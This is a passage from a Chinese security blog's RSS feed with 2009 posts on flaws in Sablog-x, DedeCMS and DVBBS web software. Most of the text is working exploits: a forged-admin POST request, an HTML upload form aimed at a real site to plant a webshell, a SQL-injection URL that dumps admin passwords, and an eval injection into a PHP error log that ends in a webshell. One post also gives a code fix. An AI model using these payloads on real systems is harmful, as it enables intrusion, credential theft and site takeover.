		<description><![CDATA[author: 80vul-B team:http://www.80vul.com 一 描叙： 由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。 二 分析 common.inc.php代码里： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .... $onoff = function_exists&#40;'ini_get'&#41; ? ini_get&#40;'register_globals'&#41; : get_cfg_var&#40;'register_globals'&#41;; if &#40;$onoff != 1&#41; &#123; @extract&#40;$_COOKIE, EXTR_SKIP&#41;; @extract&#40;$_POST, EXTR_SKIP&#41;; @extract&#40;$_GET, EXTR_SKIP&#41;; &#125; ... $sax_auth_key [...]]]></description>
			<content:encoded><![CDATA[<p>author: 80vul-B<br />
team:http://www.80vul.com</p>
<p>一 描叙：</p>
<p>由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。</p>
<p>二 分析</p>
<p>common.inc.php代码里：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">....</span>
<span style="color: #000088;">$onoff</span> <span style="color: #339933;">=</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ini_get'</span><span style="color: #009900;">&#41;</span> ? <span style="color: #990000;">ini_get</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'register_globals'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #990000;">get_cfg_var</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'register_globals'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$onoff</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #339933;">@</span><span style="color: #990000;">extract</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #339933;">,</span> EXTR_SKIP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #339933;">@</span><span style="color: #990000;">extract</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #339933;">,</span> EXTR_SKIP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #339933;">@</span><span style="color: #990000;">extract</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #339933;">,</span> EXTR_SKIP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">...</span>
<span style="color: #000088;">$sax_auth_key</span> <span style="color: #339933;">=</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$onlineip</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sax_uid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sax_pw</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sax_logincount</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sax_auth'</span><span style="color: #009900;">&#93;</span> ? <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span> authcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sax_auth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'DECODE'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sax_hash</span> <span style="color: #339933;">=</span> sax_addslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sax_hash'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">...</span>
<span style="color: #000088;">$seccode</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$sessionexists</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sax_hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #339933;">...</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_EVO</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$DB</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">//$_EVO初始化过程在if ($sax_hash)里，如果这个if条件不满足，将跳过这个初始化过程。</span>
<span style="color: #339933;">...</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$sessionexists</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sax_uid</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_EVO</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$DB</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetch_one_array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT <span style="color: #006699; font-weight: bold;">$userfields</span> FROM <span style="color: #006699; font-weight: bold;">{$db_prefix}</span>users u WHERE u.userid='<span style="color: #006699; font-weight: bold;">$sax_uid</span>' AND u.password='<span style="color: #006699; font-weight: bold;">$sax_pw</span>' AND u.lastip='<span style="color: #006699; font-weight: bold;">$onlineip</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #339933;">...</span>
<span style="color: #339933;">@</span><span style="color: #990000;">extract</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_EVO</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//覆盖任意变量</span></pre></td></tr></table></div>

<p><span id="more-376"></span><br />
由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)</p>
<p>三 利用</p>
<p>下面给个后台权限欺骗的PoC:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">POST http://127.0.0.1/sax/cp.php  HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/sax/cp.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Content-Length: 138
Connection: Close
&nbsp;
_EVO[sax_uid]=1&amp;_EVO[sax_pw]=1&amp;_EVO[sax_logincount]=1&amp;_EVO[sax_hash]=1&amp;_EVO[sax_group]=1&amp;_EVO[sax_auth_key]=1&amp;_EVO[timestamp]=111111111111</pre></td></tr></table></div>

<p>四 补丁[fix]</p>
<p>缺</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/sablog-x-v2-x-arbitrary-variable-overwrite-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Dedecms select_soft_post.php页面变量未初始漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html#comments</comments>
		<pubDate>Sat, 24 Oct 2009 16:11:11 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[select_soft_post.php]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=277</guid>
		<description><![CDATA[文/ Flyh4t影响版本：Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 &#60;html&#62; &#60;head&#62; &#60;title&#62;Dedecms v55 RCE Exploit Codz By flyh4t&#60;/title&#62; &#60;/head&#62; &#60;body style=&#34;FONT-SIZE: 9pt&#34;&#62;---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- &#60;br /&#62;&#60;br /&#62; &#60;form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype=&#34;multipart/form-data&#34; name='myform'&#62; &#60;input type='hidden' [...]]]></description>
			<content:encoded><![CDATA[<p>文/ Flyh4t影响版本：Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Dedecms v55 RCE Exploit Codz By flyh4t&lt;/title&gt;
&lt;/head&gt;
&lt;body style=&quot;FONT-SIZE: 9pt&quot;&gt;---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- &lt;br /&gt;&lt;br /&gt;
&lt;form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype=&quot;multipart/form-data&quot; name='myform'&gt;
&lt;input type='hidden' name='activepath' value='/data/cache/' /&gt;
&lt;input type='hidden' name='cfg_basedir' value='../../' /&gt;
&lt;input type='hidden' name='cfg_imgtype' value='php' /&gt;
&lt;input type='hidden' name='cfg_not_allowall' value='txt' /&gt;
&lt;input type='hidden' name='cfg_softtype' value='php' /&gt;
&lt;input type='hidden' name='cfg_mediatype' value='php' /&gt;
&lt;input type='hidden' name='f' value='form1.enclosure' /&gt;
&lt;input type='hidden' name='job' value='upload' /&gt;
&lt;input type='hidden' name='newname' value='fly.php' /&gt;
Select U Shell &lt;input type='file' name='uploadfile' size='25' /&gt;
&lt;input type='submit' name='sb1' value='确定' /&gt;
&lt;/form&gt;
&lt;br /&gt;It's just a exp for the bug of Dedecms V55...&lt;br /&gt;
Need register_globals = on...&lt;br /&gt;Fun the game,get a webshell at /data/cache/fly.php...&lt;br /&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p>请自行修改form表单对应的网站域名。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html/feed</wfw:commentRss>
		<slash:comments>220</slash:comments>
		</item>
		<item>
		<title>DVBBS php2.0 注入漏洞</title>
		<link>http://www.st0p.org/blog/archives/dvbbs-php2-0-injection-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dvbbs-php2-0-injection-vulnerability.html#comments</comments>
		<pubDate>Sun, 30 Aug 2009 04:21:33 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DVBBS]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=151</guid>
		<description><![CDATA[来源:Xiaoz boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/ admin/index.php 进入后台即可了．． 模板CSS里添加上php木马，或者用一句话木马连接即可拿到webshell了．]]></description>
			<content:encoded><![CDATA[<p>来源:Xiaoz </p>
<p>boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/  </p>
<p>admin/index.php</p>
<p>进入后台即可了．．</p>
<p>模板CSS里添加上php木马，或者用一句话木马连接即可拿到webshell了．</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dvbbs-php2-0-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>152</slash:comments>
		</item>
		<item>
		<title>dedecms digg_frame.php注入漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html#comments</comments>
		<pubDate>Sat, 29 Aug 2009 01:02:11 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[digg_frame.php]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=137</guid>
		<description><![CDATA[来源：张恒 dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。 假设域名是：www.abc.com 攻击步骤如下： 1. 访问网址： http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?> 可看见以下错误信息 2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。 int(3) Error: Illegal double '1024e1024' value found during parsing Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?> 3. 下载下面dedecms-digg_frame-php-injection-vulnerability并解压里面的文件 test.html，注意 form 中 action 的地址是 1 &#60;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&#62; 按确定后的看到第2步骤的信息表示文件木马上传成功。 木马网址：http://www.abc.com/data/a.php 密码：2006888 漏洞分析： 利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。 解决方案： 打开文件 include/dedesql.class.php 找到代码 1 [...]]]></description>
			<content:encoded><![CDATA[<p>来源：张恒</p>
<p>dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。</p>
<p>假设域名是：www.abc.com 攻击步骤如下：<br />
1. 访问网址：</p>
<p>http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?></p>
<p>可看见以下错误信息<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.jpg" rel="gallery-137" title="dedecms-digg_frame-php-injection-vulnerability"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.jpg" alt="dedecms-digg_frame-php-injection-vulnerability" title="dedecms-injection-vulnerability" width="684" height="246" class="alignnone size-full wp-image-138" /></a></p>
<p>2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。<br />
int(3) Error: Illegal double '1024e1024' value found during parsing<br />
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?></p>
<p>3. 下载下面<a  href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.rar">dedecms-digg_frame-php-injection-vulnerability</a>并解压里面的文件 test.html，注意 form 中 action 的地址是</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&gt;</pre></td></tr></table></div>

<p>按确定后的看到第2步骤的信息表示文件木马上传成功。</p>
<p>木马网址：http://www.abc.com/data/a.php<br />
密码：2006888</p>
<p>漏洞分析：<br />
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。</p>
<p>解决方案：</p>
<p>打开文件 include/dedesql.class.php<br />
找到代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> ‘<span style="color: #339933;">&lt;</span>’<span style="color: #339933;">.</span><span style="color: #0000ff;">'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”&gt;\r\n”);</span></pre></td></tr></table></div>

<p>替换代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> ‘<span style="color: #339933;">&lt;</span>’<span style="color: #339933;">.</span><span style="color: #0000ff;">'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”&gt;\r\n”);</span></pre></td></tr></table></div>

<p>清空 data/mysql_error_trace.php 文件内容</p>
<p>下载：<a  href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-digg_frame-php-injection-vulnerability.rar">dedecms-digg_frame-php-injection-vulnerability.rar</a></p>
<p>st0p：以上是原文了，作者没有说明引起的原因，st0p看了一下，发现这个漏洞是因为DEDECMS在执行SQL错误时，会写入错误记录文件引起的，同理呢调用Execute和Query函数的地方很可能还会引起此BUG，重要代码如下<br />
include/dedesql.class.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">function</span> Execute<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;me&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sql</span><span style="color: #339933;">=</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	<span style="color: #339933;">......</span>
		<span style="color: #666666; font-style: italic;">//SQL语句安全检查</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">safeCheck</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			CheckSql<span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">queryString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测了SQL语句的问题，可是没有过滤php代码。。</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #339933;">......</span>	
&nbsp;
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">===</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">DisplayError</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &lt;br /&gt;Error sql: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">queryString</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #666666; font-style: italic;">//这里当碰到错误时会调用DisplayError函数，把queryString写进错误日志了，错误日志后缀是PHP哦。。</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> DisplayError<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$errorTrackFile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.php'</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;a href='http://bbs.dedecms.com' target='_blank' style='color:red'&gt;Technical Support: http://bbs.dedecms.com&lt;/a&gt;&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='line-helght:160%;font-size:14px;color:green'&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='color:blue'&gt;&lt;br /&gt;Error page: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;Error infos: <span style="color: #006699; font-weight: bold;">{$msg}</span>&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$emsg</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$savemsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Page: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>Error: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$msg</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//保存MySql错误日志</span>
		<span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$errorTrackFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'?php'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>/*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">{$savemsg}</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>*/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>其实呢，把data目录的写权限去掉，也能防止写文件哦。。，因为安装完新的DEDECMS，是没有data/mysql_error_trace.php文件的。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>87</slash:comments>
		</item>
		<item>
		<title>Linux内核高危漏洞,一个命令直接提权</title>
		<link>http://www.st0p.org/blog/archives/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.html</link>
		<comments>http://www.st0p.org/blog/archives/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.html#comments</comments>
		<pubDate>Mon, 17 Aug 2009 01:04:54 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[local]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[内核]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=114</guid>
